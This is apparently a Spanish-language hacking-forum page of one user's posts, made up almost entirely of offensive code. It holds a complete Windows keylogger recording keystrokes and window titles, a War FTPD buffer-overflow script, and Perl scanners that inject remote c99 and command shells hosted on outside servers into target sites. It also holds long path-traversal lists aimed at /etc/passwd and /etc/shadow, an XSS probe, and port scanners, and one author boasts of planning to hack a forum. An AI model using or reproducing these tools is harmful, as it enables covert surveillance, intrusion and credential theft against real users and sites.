Buenas a todos, hace mucho que no pasaba por aca asique decidi dar un vistado a ver como andan las cosas, me llamo dracko.rx soy del viejo staff de underc0de.

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
'------------------------------------|
'|Keylogger profesional de Robokop |
'|Este codigo esta reservado |
'|Para uso personal su distribucion |
'|esta penada por la ley mexicana. |
'------------------------------------|
'Este codigo ha sido escrito desde Cero en visual Studio .Net 2005
'Esta versión se encuentra libre de errores y con un warning que
'no eh podido corregir pero no hay problema porque funciona bien y utiliza apis nativas de Vb6
'Ya que en el .NET no he encontrado NameSPace de getAsyncKeyState xD
'Este codigo se ha baso en declaraciones para obtener corresponditenes nombres
'ya que se basa en la resta de 32767 para obtener los caracteres correctos.
'Por cierto fue un lio encontrar los numeros de cada letra ¬¬.
Option Strict Off
Option Explicit On
Imports VB = Microsoft.VisualBasic
Friend Class Form1
Inherits System.Windows.Forms.Form
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Private Declare Function GetForegroundWindow Lib "user32" () As Integer
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA"(ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA"(ByVal hwnd As Integer) As Integer
Private LastWindow As String
Private LastHandle As Integer
Private dKey(255) As Integer
Private Const VK_SHIFT As Short = &H10s
Private Const VK_CTRL As Short = &H11s
Private Const VK_ALT As Short = &H12s
Private Const VK_CAPITAL As Short = &H14s
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
'Conversión de caracteres especiales....
ChangeChr(33) = "[RePag]"
ChangeChr(34) = "[AvPag]"
ChangeChr(35) = "[Fin]"
ChangeChr(36) = "[Inicio]"
ChangeChr(45) = "[Insertar]"
ChangeChr(46) = "[Suprimir]"
ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("
ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"
ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"
ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"
ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub
Function TypeWindow() As Object
Dim svar As Object
'Funcion para saber el tipo de ventana y devolver el nombre.
Dim Handle_Renamed As Integer
Dim textlen As Integer
Dim WindowText As String
'Obtenemos el nombre de la vetana de fondo
Handle_Renamed = GetForegroundWindow
LastHandle = Handle_Renamed
textlen = GetWindowTextLength(Handle_Renamed) + 1
WindowText = Space(textlen) 'Obtenemos el espacio del nombre
svar = GetWindowText(Handle_Renamed, WindowText, textlen) 'Guardamos en la variable svar_
'El contenido del nombre
WindowText = VB.Left(WindowText, Len(WindowText) - 1)
'Cuando se hace cambio de ventana se pasa un espacio y se pone un delimitador_
'con ese delimitador nos damos cuenta de que el nombre ya cambio .
If WindowText <> LastWindow Then
If Text1.Text <> "" Then Text1.Text = Text1.Text & vbCrLf & vbCrLf
'Separador que escrimos en el textbox
Text1.Text = Text1.Text & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText 'vemos ventana
End If
End Function
Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
Dim i As Object 'Timer que cada 5 milisegundos checa las pulsaciones de teclas...
'cuando AlT se preciona.
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1.Text = Text1.Text & "[ALT]"
End If
'Obtenemos caracteres de la A a la Z
'Los obtenemos de una forma For To para Ahorrar codigo en especificar cada _
'caracter asi que llevamos desde el numero ascii de A hasta la Z_
'en mayuscula y miniscula
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then 'Shift
If GetKeyState(VK_CAPITAL) > 0 Then
Text1.Text = Text1.Text & LCase(Chr(i))
Exit Sub
Else
Text1.Text = Text1.Text & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then 'Shift Izq
Text1.Text = Text1.Text & UCase(Chr(i))
Exit Sub
Else
Text1.Text = Text1.Text & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'Obtenemos numeros del 1 al 0 y signos con shift
'!"·$%&$%$$$··"·@@~~@€€36$%&$/$·$&&(/
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
Else
Text1.Text = Text1.Text & Chr(i)
Exit Sub
End If
End If
Next
'Obtenemos los signos donde estan los numeros en la parte derecha del teclado...
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
'Negacion-
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
End If
Next
'Diferentes posiciones de Alt en el teclado.:P
'Por cierto ya casi acabamos.
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1.Text = Text1.Text & "[ALT-abajo]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1.Text = Text1.Text & "[ALT-arriba]"
End If
End If
Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
Next
'Barra de Espacio y dejamos un espacio en el text
If GetAsyncKeyState(32) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & " "
End If
'Enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Enter]"
End If
'Retroceso
If GetAsyncKeyState(8) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Retroceso]"
End If
'Flecha Izq
If GetAsyncKeyState(37) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaIzq]"
End If
'----Flechas---------
'Flecha arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaArriba]"
End If
'Flecha derecha
If GetAsyncKeyState(39) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaDer]"
End If
'Flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[FlechaAbajo]"
End If
'Fin de flechas--------
'Tabulador ------>
' <------
If GetAsyncKeyState(9) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Tabulador]"
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Escape]"
End If
'Intertar y suprimir
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & ChangeChr(i)
End If
Next
'Pagina arriba , pagina abajo ,home y End
For i = 33 To 36
'
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & ChangeChr(i)
End If
Next
'Click izquierdo
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'Nos aseguramos que el click fue en la pagina vista
Text1.Text = Text1.Text & "[ClickIzq]"
End If
End If
End Sub
Private Sub Text1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Text1.TextChanged
End Sub
End Class
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP
#!/usr/bin/perl
# ===============================================================================================
# War FTPD 1.65
# By OzX
# ==============================================================================================
# Referencia: http://seclists.org/bugtraq/1998/Feb/0013.html
# Windows 95/NT War FTPD 1.65 Buffer Overflow
# Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
# www.new-Bytes.net
# #================================================================================================
use strict;
use Net::FTP;
my $username = "////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////";
my $pwd = "exploit";
my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
$ftp->login($username,$pwd) or die("Login incorrecto: $!");
$ftp->quit or die("No se puede desconectar del servidor: $!");
#!/usr/bin/perl
# By Xianur0
use IO::Socket;
my $host = $ARGV[0];
my $puerto = $ARGV[1] || die("Uso: fuzzerbof.pl [ip] [puerto]\n");
my $nop = "\x90";
for($i=1;$i<1000000;$i++) {
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
$paquete = $nop x $i;
print $sock $paquete;
if(!$sock) {
print "Conexion Muerta al enviar $i bytes!\n";
} else { print "Conexion Viva a $i bytez\n"; close($sock);}
}
#!/usr/bin/perl -w
#######################################
#
# * coded by : D4NB4R
#
# * Contact: [email protected]
#
# * Greetz : Pandora's Box Team ; CCT TEAM ; Remoteexecution ; Clubhacker ; E-r00t ; Mitm
########################################
#------------------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
########################################
#------------------------------------------------------------------------------------#
########################################
$sis="eq linux";
$cmd="clear";
$cmd="cls";
system("$cmd");
########################################
#------------------------------------------------------------------------------------#
########################################
print " \n";
print " ---------------------------------------------------- \n";
print " | * | \n";
print " | **** * * * ***** ***** **** * * **** | \n";
print " | * * * * ** * * * * * * * * * * | \n";
print " | **** * * * * * * * * * * * ** * * * *** | \n";
print " | * * * * ** * * * * * * * * * | \n";
print " | * * * * * ***** ***** * * * * ***** | \n";
print " ---------------------------------------------------- \n";
print " :::Options:::\n\n";
print " 1. RFI 2. LFI\n";
########################################
#------------------------------------------------------------------------------------#
########################################
print ":::Option::: ";
########################################
#------------------------------------------------------------------------------------#
########################################
my $option=<STDIN>;
if ($option==1){&RFI}
if ($option==2){&LFI}
########################################
#------------------------------------------------------------------------------------#
########################################
#######
# RFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub RFI {
#
print "\n----------------------------------------------------\n";
print "| RFI |\n";
print "----------------------------------------------------\n";
print "\Introdusca el .txt donde esta la url a escanear\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
$lista=<STDIN>;
chomp($lista);
#
system("$cmd");
#
print "...Escaneando...\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
my $rfi= "http://63.247.72.196/cmd?";
#
my $url=$lista.$rfi;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(20);
my $resposta=$ua->request($req);
#
if($resposta->content =~ /pandora's/){
print "[+] * Encontrado * $url\n";
open(a, ">>RFI.txt");
print a "$url\n";
close(a);
}else{ print "[-] * No vulnerable * $url\n"; }
}
###############################################
#------------------------------------------------------------------------------------#
########################################
}
#
#######
# LFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub LFI {
#
print "\n----------------------------------------------------\n";
print "| Lfi |\n";
print "----------------------------------------------------\n";
#
print "introdusca el .txt donde esta la url a escanear\n\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
chomp($lista = <STDIN>);
#
system("$cmd");
#
print "....Escaneando....\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
@lfi= ('/etc/passwd',
'/etc/passwd%00',
'../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../etc/passwd%00');
#
foreach $bug(@lfi){
#
my $url=$lista.$bug;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
#
if($response->content =~ /root:x:/ ||
$response->content =~ /root:*:/ ||
$response->content =~ /root:!:/){
print "[+] * Encontrado * $url\n";
open(a, ">>LfI.txt");
print a "$url\n";
close(a);
}else{
print "[-] * No Vulnerable * $url\n";}
}
}
}
########################################
#-------------------Scaner by D4NB4R --------------------#
########################################
#Name program = moe.pl
#Version = beta
#Autor = Guason
#Version = 1.0
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
menu:
system ("cls");
system (" mode con cols=150");
system ("mode con lines=100");
print q (
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111110000000010111111111111111111 ----------SINGLE SCAN-------------
11111111111111111111100000000000001111111111111111
11111111111111111111100000000000001111111111111111 1 - Scan XSS
11111111111111111111000110000100000111111111111111 2 - Scan LFI
11111111111111111110001000011011100011111111111111 3 - Scan RFI
11111111111111111000000000000000010011111111111111
11111111111111110000000100000000000011111111111111
11111111111111111000000000000000000111111111111111 --------------------------------------------
11111111111111110000000100000000000011111111111111
11111111111111110000000001010000000000011111111111
11111111111111110000001001111100000000011111111111
11111111111111110000000001111111011100011111111111 --------MULTIPLE SCAN----------
11111111111111111100000001111111001111111111111111
11111111111111111000010000000000001111111111111111 4 - Multiple scan XSS
11111111111111111110010000000000000011111111111111 5 - Multiple scan LFI (NO)
11111111111111111111100000000000000011111111111111 6 - Multiple scan RFI
11111111111111111111100000000000000000111111111111
11111111111111111111000000000000000000111111111111
11111111111111111111100000000000000000001111111111 --------------------------------------------
11111111111111100111100000000000000000001111111111
11111111111111110011110000000000011001111111111111
11111111111111111011111000000111111111111111111111
11111111111111111001111110001111111111111111111111
11111111111111111101111111111111111111111111111111
11111111111111111100111110000011111111111111111111
11111111111111111110111111010101111111111111111111 -----------------------------------------------
11111111111111111110011100000011111111111111111111
11111111111111111110011100110111111111111111111111 7 - About x
11111111111111111110001111110011111111111111111111 8 - Salir del programa
11111111111111111111111111111011111111111111111111
11111111111111111111111111111001111111111111111111
11111111111111111111001111111001111111111111111111 ---------------------------------------------
11111111111111111111001111111101111111111111111111
11111111111111111111001111111101111111111111111111 Autor = Guason
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111
);
print "\n\n";
print "Escoge opcion =";
$opcion = <STDIN>;
chomp $opcion;
print "\n";
if ($opcion == 1 ) { &xss }
if ($opcion == 2 ) { &lfi }
if ($opcion == 3 ) { &rfi }
if ($opcion == 4 ) { &m_xss }
if ($opcion == 5 ) { &m_lfi }
if ($opcion == 6 ) { &m_rfi }
if ($opcion == 7 ) { &about }
if ($opcion == 8 ) { &salir }
if ($opcion =! 1||2||3||4||5||6||7||8) {goto menu ;}
sub lfi {
system ("cls");
print "\n\n";
print "Pagina web a probar con LFI :::";
$lfi = <STDIN>;
chomp $lfi;
print "\n\n";
print "Objectivo : $lfi\n\nn";
if($lfi !~/http:\/\//){
$lfi ="http://$lfi";}
@devil=(
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../..etc/passwd%00',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../..etc/passwd',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user'
);
foreach $scan(@devil)
{
$run=$lfi.$scan;
print "Probando con $scan\n";
$request =HTTP::Request->new(GET=>$run);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/root:x:/){
print "\n\n";
print "$lfi = Vulnerable\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub xss {
system ("cls");
print "\n\n";
print "Escribe la web a explotar con XSS::";
$xssans = <STDIN>;
chomp $xssans;
print "\n\n";
print "Objectivo = $xssans\n\n";
$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xssans.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){
print "\n\n";
print "$xssans es Vulnerable\n\n";
} else {
print "\n\n";
print "No es vulnerable\n\n";
}
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub rfi {
system ("cls");
print "\n\n";
print "Url de la web a explotar con RFI::";
$rfi = <STDIN>;
chomp $rfi;
print "\n\n";
print "Objectivo = $rfi\n\n";
$rficode="http://younes.by.ru/c99.txt";
$rfid=$rfi.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){
print "\n\n";
print "Es vulnerable !\n";
} else {
print "\n\n";
print "No es vulnerable\n\n";
}
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
################################LFI_M is obsolete ########################################33
sub m_lfi {
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub m_xss {
print "\n\n";
print "Url de los googles para XSS:";
$xss= <STDIN>;
chomp $xss;
open ( M_XSS , ">>c:/m_xss.txt" ) ;
print M_XSS "Extrayendo vulnerabilidades XSS de $xss\n\n";
open ( HOLA , $xss ) ;
@googles = <HOLA>;
close HOLA;
foreach $xsss(@googles){
$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xsss.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){
print "$xsss = Yes!\n";
print M_XSS "$xsss = Yes!\n";
} else {
print "$xsss = No!\n";
print M_XSS "$xsss = No!\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub m_rfi {
print "\n\n";
print "Url de los googles para RFI:";
$rfi= <STDIN>;
chomp $rfi;
open ( M_RFI , ">>c:/m_rfi.txt") ;
print M_RFI "Extrayendo vulnerabilidades RFI de $rfi\n\n";
open ( HOLA , $rfi ) ;
@googles = <HOLA>;
close HOLA;
foreach $rfis(@googles) {
$rficode="http://younes.by.ru/c99.txt";
$rfid=$rfis.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){
print "$rfis = Es vulnerable\n";
print M_RFI "$rfis = Es vulnerable\n";
} else {
print "$rfis = No es vulnerable\n";
print M_RFI "$rfis = No es vulnerable\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub about {
system ("cls");
print q (
@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@* ***@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@***@@@@@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@@@@@@**@@@@@@@@@@**@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@@@@@@@@@**@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@*****@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@*@@@* @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@*@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@*@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@** *@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@* @@@@@@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@*@ *@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@@@@@@@
@@@@@@@@@@@@@@@* *@@@@@ @@*@@@@ @@@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ @*@@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@@ *@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@@* @@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@ *@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@ *@@@@@@
@@@@@@@@@@@@@@ @ * *@@@@@@@@@ *@@@@@@
@@@@@@@@@@@@****@ *@@@@@@@@@@@* ***@@@@@
@@@@@@@@@@@****@@**@@@@@@@@@@@ *@ **@@@@
@@@@@@@@@@**@* @@**@@@@@@@@@@@**@***@@@@
@@@@@@@@@@*@@ *@@*@@@@@@@@@@@@@*@**@@@@@
@@@@@@@@@@@@* *@*@@@@@@@**@@@@@*** **@@@
@@@@@@@@@@*@* ****@@@@@@ *@@@@* @@* *@@@
@@@@@@@@@@ @**@@* @@@@****** @@@@**@@@
@@@@@@@@@@***@@@@ *@* @@@@@@@@@
@@@@@@@@@@@ @@@@@* *@@@@@@ *@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@@ *@@@@@@@@@
@@@@@@@@@@@@@@@@@** *@@@@@@* **@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@***@*@@@@@@@@@***@@@@@@@@
Este programa fue escrito por Guason = me
Este lo realice en dos fases uno Viendo porno y otro jugando al mithlogy titans
Este ayuda a verificar vulnerabiliades de una web o de un archivo entero lo que me es
mucho mas comodo .......
Simplemente no mando saludos a nadie mmm talvez a explorer de perlenespañol y a soulnet
los demas por mi mueranse y pronto voy a hackear el-hacker.net muaaaaaaaaa ajajajajajajaja
ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj
Tambien mando saludos a los moderadores de el-hacker quienes piensan que se han desazido de mi baneandome pero NO! porque todavia estoy ahi y me meto en sus narices
Ja! Pero que malo que soy !
Mis datos =
nOMBRE = Salchichon
Emal = [email protected]
Web = http://guason-cracker.blogspot.com/
);
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub salir {
print "\n\n";
print "Good Bye\n\n\n";
exit 1;
}
<?php
define(NAMEFILE,"ports.html");
if ($argv[1]==NULL)
{
print
"
########### Port Scaner By _84kur10_ , JxE-13 ##############
# #
# Escaner de puertos #
# Busca ports open #
#==================================================================#
# Usage: php Scan.php ip initport eofport #
# M@ndrake Black Team, LatinoHackTeam, Ro0T-MaFia #
####################################################################\n\n";
die;
}
$init=(int)$argv[2];
$eof =(int)$argv[3];
$ip =$argv[1];
function savePort($info)
{
$fp = fopen(NAMEFILE,"ab+");
fwrite($fp,$info."<br>");
fclose($fp);
}
savePort("<br><h1>Resultado de escan para ".$ip."</h1><br>");
savePort("c0ded by _84kur10_, JxE-13 <br>");
print "Scaneando...\n";
for ($i=$init;$i<=$eof;$i++){
$conect=fsockopen($ip, $i,$errno, $errstr, 30);
if(false==$conect)
{
print "\nPuerto ".$i." No encontrado\n";
}
else
{
$info= "\n\nPuerto ".$i." Fue encontrado Abierto\n";
savePort($info);
print $info;
}
}
?>
#Name program = Scanner-Port
#Version = beta
#Autor = Guason
require 'socket'
require 'timeout'
host=ARGV[0]
pi=ARGV[1]
pf = ARGV[2]
if !host
print "\nScanner Port by Guason\n\n"
print "Modo de uso = <HOST> <PUERTO INICIAL> <PUERTO FINAL>\n\n\n"
print "<HOST> = Ip o host a scanear\n"
print "<PUERTO INICIAL> = Puerto inicial\n"
print "<PUERTO FINAL> =Puerto final\n\n\n"
print "Written by Guason\n\n\n"
exit(1);
else
host=ARGV[0]
print "\n\nIniciando scaneo a #{host} con parametros #{pi}-#{pf}\n\n"
for port in (pi..pf)
begin
Timeout::timeout(0.2) {
sock=TCPSocket.new(host,port)
}
rescue Timeout::Error
rescue
print ""
else
print "Puerto #{port} ABIERTO \n"
end
end
print "\n\nScaneo finalizado\n\n"
print "Written by Guason || 2009\n\n"
exit(1);
end
#Agradecimientos = protos por sus manuales bien explicados y a todo el foro Under Security
#Email Autor = [email protected]
#wEB = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye
#!usr/bin/perl
##
# Coded By KuNdUz
